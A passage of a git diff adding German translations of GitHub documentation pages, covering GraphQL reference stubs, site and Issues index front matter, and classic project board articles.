+Um auf eine Schemavorschau zuzugreifen, musst du im `Accept`-Header einen benutzerdefinierten [Medientyp](/rest/overview/media-types) für deine Anforderungen angeben. In der Featuredokumentation für jede Vorschauversion ist angegeben, welcher benutzerdefinierte Medientyp bereitgestellt werden soll.
+
+{% note %}
+
+**Hinweis:** Auf die Elemente des GraphQL-Schemas in Vorschauversionen kann derzeit nicht über den Explorer zugegriffen werden.
+
+{% endnote %}
diff --git a/translations/de-DE/content/graphql/reference/enums.md b/translations/de-DE/content/graphql/reference/enums.md
new file mode 100644
index 0000000000..5c5a96f34d
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/enums.md
@@ -0,0 +1,25 @@
+---
+title: Enums
+redirect_from:
+  - /v4/enum
+  - /v4/reference/enum
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About enums
+
+[Enums](https://graphql.github.io/graphql-spec/June2018/#sec-Enums) represent possible sets of values for a field.
+
+For example, the [`Issue`](/graphql/reference/objects#issue) object has a field called `state`. The state is an enum (specifically, of type [`IssueState`](/graphql/reference/enums#issuestate)) because it may be `OPEN` or `CLOSED`.
+
+For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/index.md b/translations/de-DE/content/graphql/reference/index.md
new file mode 100644
index 0000000000..8f01a750d2
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/index.md
@@ -0,0 +1,27 @@
+---
+title: Verweis
+intro: 'Zeige Referenzdokumentation an, um zu erfahren, welche Datentypen im {% data variables.product.prodname_dotcom %}-GraphQL-API-Schema verfügbar sind.'
+redirect_from:
+  - /v4/reference
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /queries
+  - /mutations
+  - /objects
+  - /interfaces
+  - /enums
+  - /unions
+  - /input-objects
+  - /scalars
+ms.openlocfilehash: e321cf6116e083fab00707deaf7d86a5f13beefb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068364'
+---
+
diff --git a/translations/de-DE/content/graphql/reference/input-objects.md b/translations/de-DE/content/graphql/reference/input-objects.md
new file mode 100644
index 0000000000..c2fac85996
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/input-objects.md
@@ -0,0 +1,25 @@
+---
+title: Input objects
+redirect_from:
+  - /v4/input_object
+  - /v4/reference/input_object
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About input objects
+
+[Input objects](https://graphql.github.io/graphql-spec/June2018/#sec-Input-Objects) can be described as "composable objects" because they include a set of input fields that define the object.
+
+For example, [`CommitAuthor`](/graphql/reference/input-objects#commitauthor) takes a field called `emails`. Providing a value for `emails` transforms `CommitAuthor` into a list of `User` objects containing that email address. Note that [objects](/graphql/reference/objects) **may** have input objects, whereas [mutations](/graphql/reference/mutations) **require** input objects.
+
+For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/interfaces.md b/translations/de-DE/content/graphql/reference/interfaces.md
new file mode 100644
index 0000000000..7834a90307
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/interfaces.md
@@ -0,0 +1,25 @@
+---
+title: Interfaces
+redirect_from:
+  - /v4/interface
+  - /v4/reference/interface
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About interfaces
+
+[Interfaces](https://graphql.github.io/graphql-spec/June2018/#sec-Interfaces) serve as parent objects from which other objects can inherit.
+
+For example, [`Lockable`](/graphql/reference/interfaces#lockable) is an interface because both [`Issue`](/graphql/reference/objects#issue) and [`PullRequest`](/graphql/reference/objects#pullrequest) objects can be locked. An interface has its own list of named fields that are shared by implementing objects.
+
+For more information, see "[Implementation](/graphql/guides/introduction-to-graphql#implementation)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/mutations.md b/translations/de-DE/content/graphql/reference/mutations.md
new file mode 100644
index 0000000000..d92aac569f
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/mutations.md
@@ -0,0 +1,23 @@
+---
+title: Mutations
+redirect_from:
+  - /v4/mutation
+  - /v4/reference/mutation
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About mutations
+
+Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`.
+
+For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/objects.md b/translations/de-DE/content/graphql/reference/objects.md
new file mode 100644
index 0000000000..a843b57912
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/objects.md
@@ -0,0 +1,25 @@
+---
+title: Objects
+redirect_from:
+  - /v4/object
+  - /v4/reference/object
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About objects
+
+[Objects](https://graphql.github.io/graphql-spec/June2018/#sec-Objects) in GraphQL represent the resources you can access. An object can contain a list of fields, which are specifically typed.
+
+For example, the [`Repository`](/graphql/reference/objects#repository) object has a field called `name`, which is a `String`.
+
+For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/queries.md b/translations/de-DE/content/graphql/reference/queries.md
new file mode 100644
index 0000000000..97d8b0c074
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/queries.md
@@ -0,0 +1,33 @@
+---
+title: Abfragen
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /v4/query
+  - /v4/reference/query
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: d5c31e8e00788d2e75f27b0bb161249f01fcfb1d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108446'
+---
+## Informationen zu Abfragen
+
+Jedes GraphQL-Schema verfügt über einen Stammtyp für Abfragen und Mutationen. Der [Abfragetyp](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) definiert GraphQL-Vorgänge, die Daten vom Server abrufen.
+
+Weitere Informationen findest du unter „[Informationen zu Abfragen](/graphql/guides/forming-calls-with-graphql#about-queries)“.
+
+{% note %}
+
+**Hinweis:** Für [Benutzer-zu-Server-](/developers/apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)-{% data variables.product.prodname_github_app %}-Anforderungen solltest du separate Abfragen für Probleme und Pullanforderungen verwenden. Verwende z. B. die Filter `is:issue` oder`is:pull-request` und ihre Entsprechungen. Die Verwendung der `search`-Verbindung zum Zurückgeben einer Kombination von Problemen und Pullanforderungen in einer einzelnen Abfrage führt zu einer leeren Gruppe von Knoten.
+
+{% endnote %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/scalars.md b/translations/de-DE/content/graphql/reference/scalars.md
new file mode 100644
index 0000000000..6ccb0e8c56
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/scalars.md
@@ -0,0 +1,28 @@
+---
+title: Skalare
+redirect_from:
+  - /v4/scalar
+  - /v4/reference/scalar
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: 731b2085e9b207298b39b99b4b37907c517b5814
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109706'
+---
+## Informationen zu Skalaren
+
+[Skalare](https://graphql.github.io/graphql-spec/June2018/#sec-Scalars) sind Grundwerte: `Int`, `Float`, `String`, `Boolean` oder `ID`.
+
+Beim Aufrufen der GraphQL-API musst du geschachtelte Unterfelder angeben, bis nur Skalare zurückgegeben werden.
+
+Weitere Informationen findest du unter [Einführung in GraphQL](/graphql/guides/introduction-to-graphql#field).
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/graphql/reference/unions.md b/translations/de-DE/content/graphql/reference/unions.md
new file mode 100644
index 0000000000..f0e4e92119
--- /dev/null
+++ b/translations/de-DE/content/graphql/reference/unions.md
@@ -0,0 +1,25 @@
+---
+title: Unions
+redirect_from:
+  - /v4/union
+  - /v4/reference/union
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## About unions
+
+A [union](https://graphql.github.io/graphql-spec/June2018/#sec-Unions) is a type of object representing many objects.
+
+For example, a field marked as an [`ProjectCardItem`](/graphql/reference/unions#projectcarditem) could be an [`Issue`](/graphql/reference/objects#issue) or a [`PullRequest`](/graphql/reference/objects#pullrequest) because each of those objects can be inside a project card. Using a union instead of an object gives you flexibility.
+
+For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)."
+
+{% data reusables.projects.graphql-ghes %}
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/index.md b/translations/de-DE/content/index.md
new file mode 100644
index 0000000000..271dd46010
--- /dev/null
+++ b/translations/de-DE/content/index.md
@@ -0,0 +1,164 @@
+---
+title: '{% data variables.product.product_name %} {% ifversion fpt or ghec%}.com{% endif %} Hilfedokumentation'
+featuredLinks:
+  gettingStarted:
+    - /get-started/quickstart/set-up-git
+    - /github/authenticating-to-github/connecting-to-github-with-ssh
+    - /repositories/creating-and-managing-repositories
+    - /github/writing-on-github/basic-writing-and-formatting-syntax
+  popular:
+    - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
+    - /authentication
+    - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github
+    - /get-started/getting-started-with-git/managing-remote-repositories
+    - /pages
+redirect_from:
+  - /github
+  - /articles
+  - /common-issues-and-questions
+  - /troubleshooting-common-issues
+  - /early-access/github/enforcing-best-practices-with-github-policies
+  - /github/enforcing-best-practices-with-github-policies/index
+  - /early-access/github/enforcing-best-practices-with-github-policies/about-github-policies
+  - /github/enforcing-best-practices-with-github-policies/about-github-policies
+  - /early-access/github/enforcing-best-practices-with-github-policies/constraints
+  - /github/enforcing-best-practices-with-github-policies/constraints
+  - /early-access/github/enforcing-best-practices-with-github-policies/contexts
+  - /github/enforcing-best-practices-with-github-policies/contexts
+  - /early-access/github/enforcing-best-practices-with-github-policies/expressions
+  - /github/enforcing-best-practices-with-github-policies/expressions
+  - /early-access/github/enforcing-best-practices-with-github-policies/getting-started
+  - /early-access/github/enforcing-best-practices-with-github-policies/github-policies-vision
+  - /github/enforcing-best-practices-with-github-policies/github-policies-vision
+  - /early-access/github/enforcing-best-practices-with-github-policies/onboarding
+  - /github/enforcing-best-practices-with-github-policies/onboarding
+  - /early-access/github/enforcing-best-practices-with-github-policies/overview
+  - /github/enforcing-best-practices-with-github-policies/overview
+  - /early-access/github/enforcing-best-practices-with-github-policies/release-notes
+  - /github/enforcing-best-practices-with-github-policies/release-notes
+  - /early-access/github/enforcing-best-practices-with-github-policies/resources
+  - /github/enforcing-best-practices-with-github-policies/resources
+  - /early-access/github/enforcing-best-practices-with-github-policies/sharing
+  - /github/enforcing-best-practices-with-github-policies/sharing
+  - /early-access/github/enforcing-best-practices-with-github-policies/syntax
+  - /github/enforcing-best-practices-with-github-policies/syntax
+versions: '*'
+children:
+  - search
+  - get-started
+  - account-and-profile
+  - authentication
+  - repositories
+  - admin
+  - billing
+  - site-policy
+  - organizations
+  - code-security
+  - pull-requests
+  - issues
+  - actions
+  - copilot
+  - codespaces
+  - packages
+  - search-github
+  - developers
+  - rest
+  - graphql
+  - github-cli
+  - discussions
+  - sponsors
+  - communities
+  - pages
+  - education
+  - desktop
+  - early-access
+  - support
+childGroups:
+  - name: Get started
+    octicon: RocketIcon
+    children:
+      - get-started
+      - account-and-profile
+      - authentication
+      - billing
+      - site-policy
+  - name: Collaborative coding
+    octicon: CommentDiscussionIcon
+    children:
+      - codespaces
+      - repositories
+      - pull-requests
+      - discussions
+      - copilot
+  - name: CI/CD and DevOps
+    octicon: GearIcon
+    children:
+      - actions
+      - packages
+      - pages
+  - name: Security
+    octicon: ShieldLockIcon
+    children:
+      - code-security
+      - code-security/supply-chain-security
+      - code-security/security-advisories
+      - code-security/dependabot
+      - code-security/code-scanning
+      - code-security/secret-scanning
+  - name: Client apps
+    octicon: DeviceMobileIcon
+    children:
+      - github-cli
+      - desktop
+  - name: Project management
+    octicon: ProjectIcon
+    children:
+      - issues
+      - search-github
+  - name: Developers
+    octicon: CodeSquareIcon
+    children:
+      - developers
+      - rest
+      - graphql
+  - name: Enterprise and Teams
+    octicon: OrganizationIcon
+    children:
+      - organizations
+      - admin
+  - name: Community
+    octicon: GlobeIcon
+    children:
+      - communities
+      - sponsors
+      - education
+      - support
+externalProducts:
+  atom:
+    id: atom
+    name: Atom
+    href: 'https://atom.io/docs'
+    external: true
+  electron:
+    id: electron
+    name: Electron
+    href: 'https://electronjs.org/docs'
+    external: true
+  codeql:
+    id: codeql
+    name: CodeQL
+    href: 'https://codeql.github.com/docs'
+    external: true
+  npm:
+    id: npm
+    name: npm
+    href: 'https://docs.npmjs.com/'
+    external: true
+ms.openlocfilehash: c76f5cd822d9b7bed7129626283552892366b57a
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158869'
+---
+
diff --git a/translations/de-DE/content/issues/guides.md b/translations/de-DE/content/issues/guides.md
new file mode 100644
index 0000000000..bfc802dade
--- /dev/null
+++ b/translations/de-DE/content/issues/guides.md
@@ -0,0 +1,34 @@
+---
+title: Anleitungen zu Issues
+shortTitle: Guides
+intro: 'Erfahre, wie du mithilfe von {% data variables.product.prodname_github_issues %} deine Arbeit planen und nachverfolgen kannst.'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+includeGuides:
+  - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions
+  - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project
+  - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view
+  - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects
+  - /issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects
+  - /issues/tracking-your-work-with-issues/quickstart
+  - /issues/tracking-your-work-with-issues/creating-an-issue
+  - /issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests
+  - /issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project
+  - /issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests
+  - /issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards
+  - /issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board
+  - /issues/using-labels-and-milestones-to-track-work/managing-labels
+  - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests
+ms.openlocfilehash: 526d3f43c110b76fb1a0c20b5937ce2056804c81
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423580'
+---
+
diff --git a/translations/de-DE/content/issues/index.md b/translations/de-DE/content/issues/index.md
new file mode 100644
index 0000000000..f53dc75918
--- /dev/null
+++ b/translations/de-DE/content/issues/index.md
@@ -0,0 +1,83 @@
+---
+title: GitHub Issues
+shortTitle: GitHub Issues
+intro: 'Erfahre, wie du mithilfe von {% data variables.product.prodname_github_issues %} deine Arbeit planen und nachverfolgen kannst.'
+introLinks:
+  overview: /issues/tracking-your-work-with-issues/creating-issues/about-issues
+  quickstart: /issues/tracking-your-work-with-issues/quickstart
+featuredLinks:
+  guides:
+    - /issues/tracking-your-work-with-issues/creating-issues/creating-an-issue
+    - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects
+    - /issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects
+    - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository
+    - /issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project
+  guideCards:
+    - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view
+    - /issues/tracking-your-work-with-issues/creating-issues/linking-a-pull-request-to-an-issue
+    - '{% ifversion ghes or ghae %}/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards{% endif %}'
+    - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions
+  popular:
+    - /issues/tracking-your-work-with-issues/creating-issues/about-issues
+    - /issues/planning-and-tracking-with-projects/learning-about-projects/about-projects
+    - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project
+    - /issues/tracking-your-work-with-issues/creating-issues/about-tasklists
+    - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates
+    - /issues/using-labels-and-milestones-to-track-work/managing-labels
+    - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests
+    - '{% ifversion ghes or ghae %}/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards{% endif %}'
+  videos:
+    - title: Planning at scale with Issues – Mario Rodriguez
+      href: 'https://www.youtube-nocookie.com/embed/ha1KHcPMAEk'
+    - title: Planning at GitHub (Projects + Issues) – Matt Butler
+      href: 'https://www.youtube-nocookie.com/embed/HwpVvDURHKw'
+    - title: Issue Forms for open source – Luke Hefson
+      href: 'https://www.youtube-nocookie.com/embed/2Yh8ueUE0oY'
+  videosHeading: Videos
+product_video: '{% ifversion projects-v2 %}https://www.youtube-nocookie.com/embed/yFQ-p6wMS_Y?list=PL0lo9MOBetEG8TZty9Z38oSZAY8FjkaB7&index=1{% else %}https://www.youtube-nocookie.com/embed/uiaLWluYJsA{% endif %}'
+layout: product-landing
+beta_product: false
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /tracking-your-work-with-issues
+  - /planning-and-tracking-with-projects
+  - /organizing-your-work-with-project-boards
+  - /using-labels-and-milestones-to-track-work
+  - /guides
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests
+  - /github/managing-your-work-on-github/managing-your-work-with-issues
+  - /github/managing-your-work-on-github
+  - /categories/100/articles
+  - /categories/managing-projects
+  - /categories/managing-projects-on-github
+  - /categories/managing-your-work-on-github
+  - /about-issues
+  - /creating-an-issue
+  - /deleting-an-issue
+  - /opening-an-issue-from-a-comment
+  - /opening-an-issue-from-code
+  - /transferring-an-issue-to-another-repository
+  - /pinning-an-issue-to-your-repository
+  - /creating-a-permanent-link-to-a-code-snippet
+  - /managing-labels
+  - /about-task-lists
+  - /about-automation-for-issues-and-pull-requests-with-query-parameters
+  - /file-attachments-on-issues-and-pull-requests
+  - /assigning-issues-and-pull-requests-to-other-github-users
+  - /viewing-all-of-your-issues-and-pull-requests
+  - /disabling-issues
+  - /linking-a-pull-request-to-an-issue
+  - /about-duplicate-issues-and-pull-requests
+ms.openlocfilehash: 0f9165bd3fe278316fcf8cec72b6b49cfce02140
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160289'
+---
+
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/index.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/index.md
new file mode 100644
index 0000000000..60b5193108
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/index.md
@@ -0,0 +1,27 @@
+---
+title: 'Organisieren deiner Arbeit mit {% data variables.product.prodname_projects_v1 %}'
+shortTitle: '{% data variables.product.prodname_projects_v1_caps %}'
+intro: 'Verwalten deiner Arbeit auf {% data variables.product.prodname_dotcom %} mit {% data variables.product.prodname_projects_v1 %}'
+allowTitleToDifferFromFilename: true
+versions:
+  feature: projects-v1
+topics:
+  - Issues
+  - Projects
+children:
+  - /managing-project-boards
+  - /tracking-work-with-project-boards
+redirect_from:
+  - /adding-issues-and-pull-requests-to-a-project-board
+  - /adding-notes-to-a-project-board
+  - /tracking-progress-on-your-project-board
+  - /filtering-cards-on-a-project-board
+  - /archiving-cards-on-a-project-board
+ms.openlocfilehash: 5827065f7fe316f4ec8ea41b56be61b1e01943dd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108443'
+---
+{% data reusables.projects.project_boards_old %}
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md
new file mode 100644
index 0000000000..622609fc23
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md
@@ -0,0 +1,51 @@
+---
+title: 'Informationen zur Automatisierung für {% data variables.product.prodname_projects_v1 %}'
+intro: 'Du kannst automatische Workflows konfigurieren, um zu gewährleisten, dass der Status der {% data variables.projects.projects_v1_board %}karten mit den zugehörigen Issues und Pull Requests synchronisiert wird.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/about-automation-for-project-boards
+  - /articles/about-automation-for-project-boards
+  - /github/managing-your-work-on-github/about-automation-for-project-boards
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+shortTitle: 'Automation for {% data variables.product.prodname_projects_v1 %}'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 28c4719cca14dff54d971b9a081837c172f4da76
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108403'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.project-management.automate-project-board-permissions %} Weitere Informationen findest du unter [{% data variables.product.prodname_projects_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization).
+
+Du kannst Aktionen basierend auf auslösenden Ereignissen für {% data variables.projects.projects_v1_board %}spalten automatisieren. Dadurch werden einige der manuellen Aufgaben beim Verwalten von {% data variables.projects.projects_v1_board %}s entfernt. So kannst du beispielsweise eine „Zu Bearbeiten“-Spalte konfigurieren, der alle neuen Issues oder Pull Requests, die du einem {% data variables.projects.projects_v1_board %} hinzufügst, automatisch hinzugefügt werden. Weitere Informationen findest du unter [Konfigurieren der Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/configuring-automation-for-project-boards).  
+
+{% data reusables.project-management.use-automated-template %}
+
+{% data reusables.project-management.copy-project-boards %}
+
+{% data variables.projects.projects_v1_board_caps %}automatisierung kann auch dazu beitragen, Teams ein gemeinsames Verständnis für den Zweck eines {% data variables.projects.projects_v1_board %}s und den Entwicklungsprozess des Teams zu vermitteln, indem ein Standardworkflow für bestimmte Aktionen erstellt wird.
+
+{% data reusables.project-management.resync-automation %}
+
+## Automatisierungsoptionen
+
+| Spaltenvoreinstellung | Konfigurationsoptionen |
+| --- | --- |
+| Folgendes ist zu erledigen | <ul><li>Alle neu hinzugefügten Issues hierhin verschieben</li><li>Alle neu hinzugefügten Pull Requests hierhin verschieben</li><li>Alle erneut geöffneten Issues hierhin verschieben</li><li>Alle erneut geöffneten Pull Requests hierhin verschieben</li></ul> |
+| In Bearbeitung | <ul><li>Alle erneut geöffneten Pull Requests hierhin verschieben</li><li>Alle erneut geöffneten Issues hierhin verschieben</li><li>Alle erneut geöffneten Pull Requests hierhin verschieben</li><li>Alle Pull Requests, die der Mindestanzahl der erforderlichen Reviews des Basis-Branch entsprechen, hierhin verschieben</li><li>Alle Pull Requests, die der Mindestanzahl der erforderlichen Reviews des Basis-Branch nicht mehr entsprechen, hierhin verschieben</li></ul> |
+| Fertig | <ul><li>Alle abgeschlossenen Issues hierhin verschieben</li><li>Alle zusammengeführten Pull Requests hierhin verschieben</li><li>Alle abgeschlossenen, nicht zusammengeführten Pull Requests hierhin verschieben</li></ul> |
+
+## Projektfortschrittsverfolgung
+
+Du kannst den Fortschritt auf deinem {% data variables.projects.projects_v1_board %} nachverfolgen. Tickets in den Spalten „Zu Bearbeiten“, „In Bearbeitung“ oder „Abgeschlossen“ zählen zum Gesamtprojektfortschritt. {% data reusables.project-management.project-progress-locations %}
+
+Weitere Informationen findest du unter [Nachverfolgen des Fortschritts auf deinem {% data variables.product.prodname_project_v1 %}](/github/managing-your-work-on-github/tracking-progress-on-your-project-board).
+
+## Weiterführende Themen
+- [Konfigurieren der Automatisierung für {% data variables.product.prodname_projects_v1 %}](/articles/configuring-automation-for-project-boards){% ifversion fpt or ghec %}
+- [Kopieren eines {% data variables.product.prodname_project_v1 %}](/articles/copying-a-project-board){% endif %}
diff --git a/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
new file mode 100644
index 0000000000..6555ec7de0
--- /dev/null
+++ b/translations/de-DE/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
@@ -0,0 +1,79 @@
+---
+title: 'Informationen zu {% data variables.product.prodname_projects_v1 %}'
+intro: '{% data variables.product.prodname_projects_v1_caps %} auf {% data variables.product.product_name %} helfen dir beim Organisieren und Priorisieren deiner Arbeit. Du kannst {% data variables.projects.projects_v1_boards %} für die Arbeit an bestimmten Features, für umfassende Roadmaps oder auch für Releaseprüflisten erstellen. Mit {% data variables.product.prodname_projects_v1 %} besitzt du die Flexibilität, angepasste Workflows zu erstellen, die deinen Anforderungen entsprechen.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/about-project-boards
+  - /articles/about-projects
+  - /articles/about-project-boards
+  - /github/managing-your-work-on-github/about-project-boards
+versions:
+  feature: projects-v1
+topics:
+  - Pull requests
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: c14ee749a2e97bb9ef608e1b2d548098f18af0d0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107621'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data variables.projects.projects_v1_boards_caps %} bestehen aus Issues, Pull Requests und Notizen, die als Karten in Spalten deiner Wahl kategorisiert werden. Du kannst per Drag-and-Drop oder Tastenkürzel Tickets innerhalb einer Spalte neu anordnen, Tickets von Spalte zu Spalte verschieben und die Reihenfolge der Spalten ändern.
+
+{% data variables.projects.projects_v1_board_caps %}karten enthalten relevante Metadaten für Issues und Pull Requests, wie Kennzeichnungen, Bearbeiter*innen, Status und die öffnende Person. {% data reusables.project-management.edit-in-project %}
+
+Du kannst innerhalb von Spalten Notizen erstellen, die als Erinnerungen an Aufgaben oder Verweise auf Issues und Pull Requests aus einem beliebigen Repository auf {% data variables.location.product_location %} dienen. Zudem kannst du dem {% data variables.projects.projects_v1_board %} über Notizen auch relevante Informationen hinzufügen. Du kannst eine Referenzkarte für ein anderes {% data variables.projects.projects_v1_board %} erstellen, indem du einer Notiz einen Link hinzufügst. Wenn die Notiz für deine Bedürfnisse nicht ausreicht, kannst du sie in ein Issue konvertieren. Weitere Informationen zum Konvertieren von Notizen in Issues findest du unter [Hinzufügen von Notizen zu einem {% data variables.product.prodname_project_v1 %}](/articles/adding-notes-to-a-project-board).
+
+Arten von Projektboards:
+
+- **Benutzereigene {% data variables.projects.projects_v1_board %}s** können Issues und Pull Requests aus jedem persönlichen Repository enthalten.
+- **Organisationsweite {% data variables.projects.projects_v1_board %}s** können Issues und Pull Requests aus einem beliebigen Repository enthalten, das zu einer Organisation gehört.  {% data reusables.project-management.link-repos-to-project-board %} Weitere Informationen findest du unter [Verknüpfen eines Repositorys mit einem {% data variables.product.prodname_project_v1 %}](/articles/linking-a-repository-to-a-project-board).
+- **Repository-{% data variables.projects.projects_v1_board %}s** sind auf Issues und Pull Requests innerhalb eines einzelnen Repositorys festgelegt. Du kannst auch Hinweise enthalten, die auf Issues und Pull Requests in anderen Repositorys verweisen.
+
+## Erstellen und Anzeigen eines benutzereigenen {% data variables.projects.projects_v1_boards %}
+
